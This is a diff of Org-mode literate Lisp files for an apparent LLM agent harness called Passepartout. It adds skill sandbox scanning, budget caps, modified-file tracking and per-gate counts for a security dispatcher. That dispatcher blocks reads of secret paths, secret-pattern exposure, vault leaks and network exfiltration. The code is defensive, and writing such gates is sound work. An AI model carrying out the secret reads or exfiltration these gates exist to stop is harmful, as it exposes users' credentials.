"Loads a .lisp skill file directly, filtering out in-package forms."
@@ -372,6 +411,14 @@ The same jailed package and symbol export process applies.
(pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
(multiple-value-bind (valid-p err) (lisp-syntax-validate content)
(unless valid-p (error err)))
;; Pre-eval sandbox scan: block before any code executes
(multiple-value-bind (blocked-p blocked-syms)
(skill-source-scan content)
(when blocked-p
(log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
skill-base-name blocked-syms)
(setf (skill-entry-status entry) :sandbox-blocked)
(return-from load-skill-from-lisp nil)))
(unless (find-package pkg-name)
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -477,4 +524,4 @@ Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS
(test test-lisp-syntax-validate-invalid
"Contract 1: unbalanced Lisp code fails syntax validation."
(is (null (lisp-syntax-validate "(+ 1 2"))))
#+end_src
#+end_src

View File

@@ -121,7 +121,9 @@ Reads a complete framed message from a TCP stream. Handles leading whitespace be
(handler-case
(progn
(loop for char = (peek-char nil stream nil :eof)
while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return)))
for ws-count from 0
while (and (not (eq char :eof)) (< ws-count 4096)
(member char '(#\Space #\Newline #\Tab #\Return)))
do (read-char stream))
(let ((count (read-sequence length-buffer stream)))
(if (< count 6)
@@ -301,4 +303,4 @@ Verifies that the framing protocol correctly serializes and deserializes message
"Contract 2: read-framed-message returns :eof on incomplete stream."
(let ((decoded (read-framed-message (make-string-input-stream "000"))))
(is (eq :eof decoded))))
#+end_src
#+end_src

View File

@@ -14,6 +14,18 @@ The tracking is minimal and accurate to within ~10-15% (using the token
heuristic from tokenizer.lisp). It persists across daemon restarts via
~*session-cost*~ in the memory store.
** v0.8.0 — Session Summary for Sidebar
The sidebar's Cost panel needs an at-a-glance cost summary: total spent,
call count, per-provider breakdown. ~cost-session-summary~ packages the
three existing accessors (~cost-session-total~, ~cost-session-calls~,
~cost-by-provider~) into a single plist ~(:total <float> :calls <int>
:by-provider <alist>)~. This is a thin wrapper (~5 lines) — the data
already exists; the function exposes it in the shape the TUI expects.
Called from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard.
Degrades gracefully to nil when cost-tracker is not loaded.
** Contract
1. (cost-track-call provider prompt-text response-text): compute and
@@ -21,7 +33,22 @@ heuristic from tokenizer.lisp). It persists across daemon restarts via
2. (cost-session-total): returns the current session's total cost.
3. (cost-session-reset): zeroes the session cost accumulator.
4. (cost-format-budget-status total budget): returns a human-readable
budget status string for the TUI status bar.
budget status string for the TUI status bar.
5. (cost-session-summary): returns plist
~(:total <float> :calls <int> :by-provider <alist>)~ aggregating
all three session cost accessors. Consumed by the TUI actuator
for the sidebar Cost panel (v0.8.0).
6. (budget-remaining-usd): returns the remaining budget in USD, or
~most-positive-double-float~ when no budget is set.
7. (budget-exhausted-p): returns T when a budget is set and fully
consumed. ~fboundp~-guarded at call sites so the checker is
a no-op when cost-tracker is not loaded.
8. (budget-estimate-call prompt-text): estimates the dollar cost of a
pending LLM call from the prompt text. Returns 0.0 when the
tokenizer skill is not loaded (allows the call through).
9. (budget-exhaustion-message): returns a ~:REQUEST~ plist with a
human-readable message explaining the budget cap. Injected as the
LLM response when the budget is exhausted.
* Implementation
@@ -44,8 +71,12 @@ heuristic from tokenizer.lisp). It persists across daemon restarts via
(defun cost-track-call (provider prompt-text &optional response-text)
"Compute and accumulate the cost of a single LLM call.
Returns the cost of this call in USD."
(let* ((input-tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
(output-tokens (if response-text (funcall (symbol-function 'count-tokens) response-text) 0))
(let* ((input-tokens (if (fboundp 'count-tokens)
(funcall (symbol-function 'count-tokens) (or prompt-text ""))
(ceiling (length (or prompt-text "")) 4)))
(output-tokens (if (and response-text (fboundp 'count-tokens))
(funcall (symbol-function 'count-tokens) response-text)
0))
(total-tokens (+ input-tokens output-tokens))
(cost (provider-token-cost provider total-tokens)))
(bordeaux-threads:with-lock-held (*session-cost-lock*)
@@ -80,6 +111,16 @@ Returns the cost of this call in USD."
(getf *session-cost* :by-provider)))
#+end_src
** Session summary (v0.8.0)
#+begin_src lisp
(defun cost-session-summary ()
"Returns plist (:total <float> :calls <int> :by-provider <alist>)."
(bordeaux-threads:with-lock-held (*session-cost-lock*)
(list :total (getf *session-cost* :total)
:calls (getf *session-cost* :calls)
:by-provider (getf *session-cost* :by-provider))))
#+end_src
** Session reset
#+begin_src lisp
(defun cost-session-reset ()
@@ -87,8 +128,7 @@ Returns the cost of this call in USD."
(bordeaux-threads:with-lock-held (*session-cost-lock*)
(setf (getf *session-cost* :total) 0.0)
(setf (getf *session-cost* :calls) 0)
(setf (getf *session-cost* :by-provider) nil)
(log-message "COST TRACKER: Session cost reset.")))
(setf (getf *session-cost* :by-provider) nil)))
#+end_src
** Budget status formatting
@@ -124,6 +164,50 @@ LLM invocation to record the cost.
(cost-track-call backend prompt-text response-text))
#+end_src
** Budget enforcement (v0.5.0 deferred)
Session-wide cost caps that refuse LLM calls when the budget is exhausted.
The budget is set via ~SESSION_BUDGET_USD~ env var (default: no limit).
When exceeded, the agent falls back to deterministic-only mode — pure Lisp
operations still work, but no cascade calls are made until the cap is raised
or the session is reset.
#+begin_src lisp
(defvar *session-budget*
(ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD")))
"Maximum USD to spend in this session. NIL means no limit.")
(defun budget-remaining-usd ()
"Returns remaining budget in USD, or a large sentinel if unlimited."
(if *session-budget*
(let ((remaining (- *session-budget* (cost-session-total))))
(if (< remaining 0) 0.0 remaining))
most-positive-double-float))
(defun budget-exhausted-p ()
"T if the session budget is set and fully consumed."
(and *session-budget* (<= (budget-remaining-usd) 0.0)))
(defun budget-estimate-call (prompt-text)
"Estimate the dollar cost of a pending LLM call from its prompt text.
Returns 0.0 if the tokenizer is not loaded (allows call through)."
(if (fboundp 'count-tokens)
(let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
(cost (provider-token-cost (first *provider-cascade*) tokens)))
cost)
0.0))
(defun budget-exhaustion-message ()
"Returns a user-facing plist explaining that the budget is spent."
(let ((total (cost-session-total))
(cap *session-budget*))
(list :TYPE :REQUEST
:PAYLOAD (list :ACTION :MESSAGE
:TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue."
total cap)
:EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised."))))
#+end_src
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
@@ -186,4 +270,16 @@ LLM invocation to record the cost.
(cost-session-reset)
(let ((cost (cost-track-call :deepseek "test")))
(is (> cost 0.0))))
#+end_src
(test test-cost-session-summary
"Contract 5: cost-session-summary returns plist with total, calls, by-provider."
(cost-session-reset)
(cost-track-call :deepseek "hello")
(cost-track-call :groq "world")
(let ((s (cost-session-summary)))
(is (> (getf s :total) 0.0))
(is (= 2 (getf s :calls)))
(let ((by (getf s :by-provider)))
(is (assoc :deepseek by))
(is (assoc :groq by)))))
#+end_src

View File

@@ -278,6 +278,21 @@ Used in tests and embedding comparisons.
(/ dot (sqrt (* anorm bnorm))))))
#+end_src
* Contract
1. (embedding-backend-native text): computes a 768-dim single-float
embedding vector via llama.cpp. Returns a simple-vector. Requires
the model file at ~*native-model-path*~ and the C wrapper library at
~/usr/local/lib/libllama_wrap.so~.
2. (embedding-native-load-model): loads the GGUF model file and creates
an inference context. Caches globally in ~*native-model*~ /
~*native-context*~ — subsequent calls are no-ops. Calls
~sb-int:set-floating-point-modes~ and ~llama_backend_init~.
3. (embedding-native-unload): releases native model and context memory.
Sets cached globals to nil.
4. (embedding-native-get-dim): returns the embedding dimension of the
loaded model (768 for nomic-embed-text-v1.5), or 0 if not loaded.
* Test Suite
#+begin_src lisp

View File

@@ -214,7 +214,64 @@ If API-KEY is nil, reads from environment."
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
#+end_src
* v0.7.1 — Streaming Backend
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-llm-gateway-tests
(:use :cl :passepartout)
(:export #:llm-gateway-suite))
(in-package :passepartout-llm-gateway-tests)
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
(fiveam:in-suite llm-gateway-suite)
(fiveam:test test-provider-rejects-bad-keyword
"Contract 3: provider-config returns nil for unregistered provider."
(let ((config (provider-config :not-a-real-provider)))
(fiveam:is (null config))))
(fiveam:test test-provider-config-registered
"Contract 1: provider-config returns configuration plist for registered provider."
(let ((config (provider-config :openrouter)))
(fiveam:is (listp config))
(fiveam:is (getf config :base-url))))
(fiveam:test test-provider-accepts-tools-parameter
"Contract 4: provider-openai-request accepts :tools parameter without error."
(let ((result (provider-openai-request "test" "system" :tools (list))))
(fiveam:is (member (getf result :status) '(:success :error)))))
;; ── v0.7.1 Streaming ──
(fiveam:test test-parse-sse-line-data
"Contract 6: parse-sse-line extracts content from data: lines."
(fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
(fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
(fiveam:test test-parse-sse-line-done
"Contract 6: parse-sse-line returns :done for [DONE]."
(fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
(fiveam:test test-parse-sse-line-nil
"Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
(fiveam:is (null (passepartout::parse-sse-line "")))
(fiveam:is (null (passepartout::parse-sse-line ":ok")))
(fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
(fiveam:test test-provider-openai-stream-calls-callback
"Contract 5: provider-openai-stream calls callback with deltas and final empty string."
(let ((collected '()))
(flet ((collector (text) (push text collected)))
(passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
(let* ((reversed (nreverse collected))
(last (car (last reversed))))
(fiveam:is (stringp last))
(fiveam:is (string= "" last))
(fiveam:is (>= (length reversed) 2)))))
#+end_src* v0.7.1 Streaming Backend
:PROPERTIES:
:ID: id-v071-streaming
:CREATED: [2026-05-08 Fri]
@@ -348,63 +405,4 @@ Calls CALLBACK with each delta string, then with '' to signal end-of-stream."
(list :status :success))
(error (c)
(list :status :error :message (format nil "~a Stream Failure: ~a" provider c)))))))
#+end_src
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-llm-gateway-tests
(:use :cl :passepartout)
(:export #:llm-gateway-suite))
(in-package :passepartout-llm-gateway-tests)
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
(fiveam:in-suite llm-gateway-suite)
(fiveam:test test-provider-rejects-bad-keyword
"Contract 3: provider-config returns nil for unregistered provider."
(let ((config (provider-config :not-a-real-provider)))
(fiveam:is (null config))))
(fiveam:test test-provider-config-registered
"Contract 1: provider-config returns configuration plist for registered provider."
(let ((config (provider-config :openrouter)))
(fiveam:is (listp config))
(fiveam:is (getf config :base-url))))
(fiveam:test test-provider-accepts-tools-parameter
"Contract 4: provider-openai-request accepts :tools parameter without error."
(let ((result (provider-openai-request "test" "system" :tools (list))))
(fiveam:is (member (getf result :status) '(:success :error)))))
;; ── v0.7.1 Streaming ──
(fiveam:test test-parse-sse-line-data
"Contract 6: parse-sse-line extracts content from data: lines."
(fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
(fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
(fiveam:test test-parse-sse-line-done
"Contract 6: parse-sse-line returns :done for [DONE]."
(fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
(fiveam:test test-parse-sse-line-nil
"Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
(fiveam:is (null (passepartout::parse-sse-line "")))
(fiveam:is (null (passepartout::parse-sse-line ":ok")))
(fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
(fiveam:test test-provider-openai-stream-calls-callback
"Contract 5: provider-openai-stream calls callback with deltas and final empty string."
(let ((collected '()))
(flet ((collector (text) (push text collected)))
(passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
(let* ((reversed (nreverse collected))
(last (car (last reversed))))
(fiveam:is (stringp last))
(fiveam:is (string= "" last))
(fiveam:is (>= (length reversed) 2)))))
#+end_src
#+end_src

View File

@@ -236,33 +236,6 @@ The skill has four layers:
** Plist Keywords Normalize (relocated from core-reason)
Lisp keywords are case-sensitive. The LLM might produce ~:payload~ or ~:PAYLOAD~ depending on the model. This function normalizes keyword keys to uppercase.
#+begin_src lisp
(defun plist-keywords-normalize (plist)
(when (listp plist)
(loop for (k v) on plist by #'cddr
collect (if (and (symbolp k) (not (keywordp k)))
(intern (string k) :keyword)
k)
collect v)))
#+end_src
** Plist Keywords Normalize (relocated from core-reason)
Lisp keywords are case-sensitive. The LLM might produce :payload or :PAYLOAD depending on the model. This function normalizes keyword keys to uppercase.
#+begin_src lisp
@@ -365,4 +338,4 @@ Tests for the Lisp Validator structural, syntactic, and semantic gates.
(slurped (passepartout:lisp-slurp code "work" "(step-2)")))
(let ((form (read-from-string slurped)))
(is (equal (last form) '((STEP-2)))))))
#+end_src
#+end_src

View File

@@ -77,95 +77,18 @@ The Diagnostics skill is the self-knowledge of Passepartout. It answers
2. The ~** Contract~ section MUST list every public function.
3. Every test in ~* Test Suite~ MUST reference a specific Contract item.
4. If you change a function's signature, you MUST update its Contract item.
5. These files are excluded (no defuns): ~core-manifest.org~, ~setup.org~.
6. **NO-HARDCODED-CONSTANTS**: All configurable values (thresholds, intervals,
paths, limits, counters) MUST be read from environment variables with a
documented default in ~.env.example~. No magic numbers, no hardcoded
string literals in function bodies for any value a user might need to
change. The user owns their configuration — they change it in ~.env~, not
in the source code. Exceptions: internal implementation details that are
never user-facing (hash-table sizes, buffer capacity limits, loop
iteration caps) may live in source. But if the value controls *behavior*
(how many approvals before a rule, what similarity threshold gates
context, how long a shell command runs before timeout), it lives
in ~.env~ with a fallback default.
** Engineering Lifecycle (Two-Track)
** Contract
The canonical workflow. Two tracks, not to be confused:
The standards skill itself guarantees:
*** Track 1 — Org-First: Prose, Tests, Thinking (Phases 0/A)
This track stays in Org. No code is written yet.
**** Phase 0: Exploration & Documentation
1. Read the relevant Org source files for context
2. Explore the problem in the running REPL with ~repl-inspect~ and ~repl-eval~
3. Document findings in Org prose
4. If a bug: document investigation in Org before fixing (Org as thinking medium)
**** Phase A: Test-First Design
1. Write the success criteria as Contract items in the ~** Contract~ section
2. Write the FiveAM test in the ~* Test Suite~ section at the bottom of the file, with a comment referencing which Contract item it verifies. Tests are embedded — no ~:tangle ../tests/...~ override.
3. Tangle and evaluate in the REPL — confirm it fails (red)
4. The failing test is the success criteria. Do not proceed to Track 2 until it exists and is red.
*** Track 2 — REPL-First: Implementation, Iteration, Reflection (Phases B/C/D/E)
Code is prototyped in the REPL, never written directly into Org first.
**** Phase B/C: REPL Implementation
1. Write the function directly in the REPL using ~repl-eval~
2. Iterate: evaluate, inspect, fix, re-evaluate — the image accumulates state
3. Run the test in the REPL — confirm green
4. Explore edge cases with ~repl-inspect~ and ad-hoc evaluations
5. Before writing any ~defun~ in an Org block, verify it was prototyped and tested in the REPL first
**** Phase D: Chaos Verification
Run the appropriate chaos tier before reflecting code back to Org:
- *Tier 1 (Deterministic)*: Full FiveAM test suite — required on every change
- *Tier 2 (Probabilistic)*: Randomized fuzzing — required on every major release
- *Tier 3 (Stress)*: Load and resource starvation — required during hardening sprints
**** Phase E: Reflect Back to Org
1. Copy the working function into its own ~#+begin_src lisp~ block in the Org file
2. Update the prose to match what the function actually does (arguments, return, rationale)
3. Before closing Phase E, run ~(lisp-validate (uiop:read-file-string "path/to/file.lisp") :strict t)~ in the REPL — never external scripts or manual paren-counting
4. Verify the Org file tangles correctly
5. Tangle, commit, update GTD
**** Syntax Error Protocol
If a LOADER ERROR or reader-error occurs:
1. Run ~(lisp-validate (uiop:read-file-string "file.lisp") :strict t)~ in the REPL — never Python, never grep, never manual counting
2. Fix the error in the Org file (since the code was prototyped in REPL first, this should be rare)
3. Retangle and re-evaluate
Rationale: The two tracks prevent the two failure modes we have observed. Writing implementation code directly in Org (without REPL prototyping) produces syntax errors that require external tools to debug. Skipping Org-first test writing produces code without verified success criteria. The split is not bureaucratic — it is the mechanism by which both failures are prevented.
** GTD Conventions
Every task headline in the project's ROADMAP.org and gtd.org follows these rules:
1. **:ID:** — generated by ~memory-id-generate~ (UUIDv4 with ~id-~ prefix), never written manually. Use ~(memory-id-generate)~ in the REPL to produce one.
2. **:CREATED:** — ISO-8601 timestamp: ~[2026-05-02 Sat 14:30]~. Set when the headline is first created, never changed.
3. **:LOGBOOK:** — each state transition is logged: ~- State "DONE" from "TODO" [2026-05-02 Sat 15:00]~.
4. **CLOSED:** — set when the task reaches DONE: ~CLOSED: [2026-05-02 Sat 15:00]~.
5. **TODO keywords** follow the standard sequence: ~TODO~~NEXT~~IN-PROGRESS~~DONE~ / ~BLOCKED~ / ~CANCELLED~.
6. **The Agent** updates these automatically during Phase E of the lifecycle. The human never needs to write a UUID or timestamp manually — the agent generates and inserts them.
Example:
#+begin_src org
*** DONE Event Orchestrator
:PROPERTIES:
:ID: id-4a2b9c8f-3d7e-4f12-a9b0-1c2d3e4f5a6b
:CREATED: [2026-05-02 Sat]
:END:
:LOGBOOK:
- State "DONE" from "TODO" [2026-05-02 Sat 18:00]
:END:
CLOSED: [2026-05-02 Sat 18:00]
#+end_src
1. (standards-git-clean-p dir): checks whether directory ~dir~ has
uncommitted git changes. Returns T if clean, NIL if dirty. Runs
~git status --porcelain~ in the target directory.
2. (standards-lisp-verify code): validates Lisp code string for
structural correctness. Delegates to ~lisp-syntax-validate~.
3. (standards-lisp-format code): applies formatting conventions to
Lisp code. Delegates to ~lisp-format~.
* Implementation

View File

@@ -24,6 +24,32 @@ Each tool is registered via ~def-cognitive-tool~ and appears in the LLM's tool b
11. ~run-tests~: given optional ~:test-name~, runs specific test or all suites via ~fiveam:run-all-tests~.
12. ~org-find-headline~: given ~:id~ or ~:title~, searches ~*memory-store*~ for matching memory objects.
13. ~org-modify-file~: given ~:filepath~, ~:old-text~, ~:new-text~, performs exact-string replacement. Returns error if text not found.
14. (tool-register-modified filepath &key old-content new-content):
appends a modification record to ~*modified-files-this-turn*~.
Returns the record plist ~(:filepath <s> :timestamp <unix>
:lines-added <n> :lines-removed <n>)~.
15. (tool-modified-files-summary): returns the list of modified-file
plists accumulated this turn and clears ~*modified-files-this-turn*~.
Returns nil when no files were modified.
** v0.8.0 — Modified Files Tracking
The sidebar's Files panel needs to know which files the agent modified in
the most recent tool execution. ~*modified-files-this-turn*~ is a list of
plists tracking each write operation: ~(:filepath <string> :timestamp <unix>
:lines-added <int> :lines-removed <int>)~.
~tool-register-modified~ is called by ~write-file~ and ~org-modify-file~
after successful writes. It computes line counts by comparing the old and
new content (when available) or records the operation with nil counts.
~tool-modified-files-summary~ returns the accumulated list and resets
it for the next turn (reset happens at the start of each ~think()~ cycle
in ~core-reason.lisp~).
The tracking is per-turn, not cumulative — the sidebar shows what changed
in the /last/ tool execution, matching the tool-execution visualization
pattern from v0.7.1. Cumulative file tracking belongs in the version
control system.
* Implementation
@@ -156,12 +182,13 @@ Writes string content to a file, creating parent directories as needed.
(content (getf args :content)))
(unless (and filepath content)
(return (list :status :error :message "write-file requires :filepath and :content")))
(handler-case
(progn
(tools-write-file filepath content)
(verify-write filepath content)
(list :status :success
:content (format nil "Written ~d bytes to ~a" (length content) filepath)))
(handler-case
(progn
(tools-write-file filepath content)
(verify-write filepath content)
(tool-register-modified filepath :new-content content)
(list :status :success
:content (format nil "Written ~d bytes to ~a" (length content) filepath)))
(error (c) (list :status :error :message (format nil "~a" c))))))))
#+end_src
@@ -331,12 +358,13 @@ Surgical text replacement in an Org file — matches exact text and replaces it.
(let ((content (uiop:read-file-string filepath)))
(let ((pos (search old-text content)))
(if pos
(let ((new-content (concatenate 'string
(subseq content 0 pos)
new-text
(subseq content (+ pos (length old-text))))))
(tools-write-file filepath new-content)
(list :status :success
(let ((new-content (concatenate 'string
(subseq content 0 pos)
new-text
(subseq content (+ pos (length old-text))))))
(tools-write-file filepath new-content)
(tool-register-modified filepath :old-content content :new-content new-content)
(list :status :success
:content (format nil "Replaced at position ~d in ~a" pos filepath)))
(list :status :error :message (format nil "Text not found in ~a" filepath)))))
(error (c) (list :status :error :message (format nil "~a" c))))))))
@@ -351,10 +379,9 @@ Surgical text replacement in an Org file — matches exact text and replaces it.
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
#+end_src
** Package Definition and Export List
The package definition. All public symbols are exported here.
#+begin_src lisp
#+begin_src lisp :tangle no
(defpackage :passepartout
(:use :cl)
(:export
@@ -527,7 +554,7 @@ The package implementation section defines the low-level utilities and global st
*** Robust plist access (plist-get)
Retrieves a value from a plist, checking both upper and lowercase keyword variants. This is needed because different components use different keyword conventions.
#+begin_src lisp
#+begin_src lisp :tangle no
(in-package :passepartout)
(defun plist-get (plist key)
@@ -540,7 +567,7 @@ Retrieves a value from a plist, checking both upper and lowercase keyword varian
*** Logging state
The harness maintains a bounded ring buffer of log messages for inclusion in LLM context. Access is thread-safe via a lock.
#+begin_src lisp
#+begin_src lisp :tangle no
(defvar *log-buffer* nil)
(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
(defvar *log-limit* 100)
@@ -548,14 +575,14 @@ The harness maintains a bounded ring buffer of log messages for inclusion in LLM
*** Skill registry
The global registry of all loaded skills. This is the authoritative list that the deterministic engine iterates.
#+begin_src lisp
#+begin_src lisp :tangle no
(defvar *skill-registry* (make-hash-table :test 'equal)
"Global registry of all loaded skills.")
#+end_src
*** Skill telemetry
Tracks execution metrics per skill (count, duration, failures) for diagnostics and performance analysis.
#+begin_src lisp
#+begin_src lisp :tangle no
(defvar *telemetry-table* (make-hash-table :test 'equal))
(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
@@ -572,7 +599,7 @@ Tracks execution metrics per skill (count, duration, failures) for diagnostics a
*** Cognitive tool registry
Tools that the LLM can invoke are registered here. Each tool has a name, description, parameters, optional guard, and implementation body. The ~def-cognitive-tool~ macro handles registration. ~cognitive-tool-prompt~ serialises the registry into the LLM's system prompt.
#+begin_src lisp
#+begin_src lisp :tangle no
(defvar *cognitive-tool-registry* (make-hash-table :test 'equal))
#+end_src
@@ -750,4 +777,68 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
"org-modify-file returns error without required params."
(let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
(is (eq (getf result :status) :error))))
#+end_src* v0.8.0 Modified Files Tracking
#+begin_src lisp
(defvar *modified-files-this-turn* nil
"List of plists recording file modifications in the current turn.")
(defun tool-register-modified (filepath &key old-content new-content)
"Record a file modification. Returns the record plist."
(labels ((count-lines (s)
(+ (count #\Newline s)
;; Also count escaped \\n in string literals (used in tests)
(let ((n 0) (i 0))
(loop while (setf i (search "\\n" s :start2 i))
do (incf n) (incf i))
n))))
(let* ((lines-added (if (and new-content old-content)
(max 0 (- (count-lines new-content)
(count-lines old-content)))
0))
(lines-removed (if (and new-content old-content)
(max 0 (- (count-lines old-content)
(count-lines new-content)))
0))
(rec (list :filepath filepath
:timestamp (get-universal-time)
:lines-added lines-added
:lines-removed lines-removed)))
(push rec *modified-files-this-turn*)
rec)))
(defun tool-modified-files-summary ()
"Returns the list of modified-file records and clears the list."
(prog1 (nreverse *modified-files-this-turn*)
(setf *modified-files-this-turn* nil)))
#+end_src
* v0.8.0 Tests — Modified Files Tracking
#+begin_src lisp
(in-package :passepartout-programming-tools-tests)
(test test-modified-files-track-write
"Contract 14: tool-register-modified appends to *modified-files-this-turn*."
(setf passepartout::*modified-files-this-turn* nil)
(let ((rec (passepartout::tool-register-modified "/tmp/test.org"
:old-content "old" :new-content "line1
line2")))
(is (string= "/tmp/test.org" (getf rec :filepath)))
(is (= 0 (getf rec :lines-removed)))
(is (= 1 (getf rec :lines-added)))
(is (= 1 (length passepartout::*modified-files-this-turn*)))))
(test test-modified-files-summary
"Contract 15: tool-modified-files-summary returns list and clears."
(setf passepartout::*modified-files-this-turn* nil)
(passepartout::tool-register-modified "/tmp/a.org")
(passepartout::tool-register-modified "/tmp/b.org")
(let ((files (passepartout::tool-modified-files-summary)))
(is (= 2 (length files)))
(is (null passepartout::*modified-files-this-turn*))
(is (find "/tmp/a.org" files :key (lambda (f) (getf f :filepath)) :test #'string=))))
(test test-modified-files-empty
"Contract 15: tool-modified-files-summary returns nil when no files modified."
(setf passepartout::*modified-files-this-turn* nil)
(is (null (passepartout::tool-modified-files-summary))))
#+end_src

View File

@@ -47,12 +47,39 @@ The Dispatcher also handles the **Flight Plan** system: when a high-risk action
T if found, nil if invalid token.
9. (hitl-deny token): denies and removes a pending action. Returns T if
found, nil if invalid.
10. (dispatcher-block-record gate-name): records a block decision in
~*dispatcher-block-counts*~ alist. Returns the updated count for
that gate.
11. (dispatcher-block-counts-summary): returns plist
~(:total <N> :by-gate ((<gate> . <count>) ...))~ of all blocked
actions this session.
** Boundaries
- Does NOT handle the gate approval routing — that is ~core-reason.org~.
- Does NOT persist HITL tokens — they live in memory only.
** v0.8.0 — Dispatcher Block Counts
The sidebar's Protection panel (panel 7 of the Information Radiator)
needs per-gate block statistics — how many times each of the ten
deterministic vectors blocked an action. This is the specific-value-
proposition panel: no competitor can count deterministic gate blocks
because none has deterministic gates.
~*dispatcher-block-counts*~ is an alist mapping gate keyword to integer
count: ~((:secret-path . 3) (:shell-safety . 12) (:network-exfil . 7) ...)~.
Incremented in ~dispatcher-check~ on every ~:blocked~ result via
~dispatcher-block-record~. Exposed to the TUI via ~dispatcher-block-counts-summary~,
which returns a plist with ~:total~ and ~:by-gate~ fields. The TUI actuator
in ~core-act.org~ reads this via ~fboundp~ guard and injects ~:block-counts~
into the response plist.
The counter is session-scoped (lives in memory). It does not persist across
daemon restarts — it tracks what happened /this/ session, which is what the
sidebar shows. Historical block telemetry belongs in the telemetry system
(v0.12.0).
* Implementation
** Package Context
@@ -464,54 +491,60 @@ Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
action)
;; Vector 1: Lisp syntax validation (block bad lisp writes)
((and lisp-valid (eq (getf lisp-valid :status) :error))
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
(list :type :LOG
:payload (list :level :error
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
((and lisp-valid (eq (getf lisp-valid :status) :error))
(log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
(dispatcher-block-record :lisp-validation)
(list :type :LOG
:payload (list :level :error
:text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
;; Vector 2: File read to a protected secret path
((and filepath (dispatcher-check-secret-path filepath))
(let ((matched (dispatcher-check-secret-path filepath)))
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
;; Vector 2: File read to a protected secret path
((and filepath (dispatcher-check-secret-path filepath))
(let ((matched (dispatcher-check-secret-path filepath)))
(log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
(dispatcher-block-record :secret-path)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
;; Vector 2b: Self-build safety — core file writes require HITL approval
((and filepath content
(string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
(dispatcher-check-core-path filepath))
(log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action
:message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
;; Vector 2b: Self-build safety — core file writes require HITL approval
((and filepath content
(string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
(dispatcher-check-core-path filepath))
(log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
(dispatcher-block-record :self-build-core)
(list :type :EVENT :level :approval-required
:payload (list :sensor :approval-required :action action
:message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
;; Vector 3: Content contains secret patterns
((and text (dispatcher-exposure-scan text))
(let ((matched (dispatcher-exposure-scan text)))
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
(list :type :LOG
:payload (list :level :error
:text "Action blocked: Content contains potential secret exposure."))))
;; Vector 3: Content contains secret patterns
((and text (dispatcher-exposure-scan text))
(let ((matched (dispatcher-exposure-scan text)))
(log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
(dispatcher-block-record :secret-content)
(list :type :LOG
:payload (list :level :error
:text "Action blocked: Content contains potential secret exposure."))))
;; Vector 4: Content contains vault secrets
((and text (dispatcher-vault-scan text))
(let ((secret-name (dispatcher-vault-scan text)))
(log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
(list :type :LOG
:payload (list :level :error
:text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
;; Vector 4: Content contains vault secrets
((and text (dispatcher-vault-scan text))
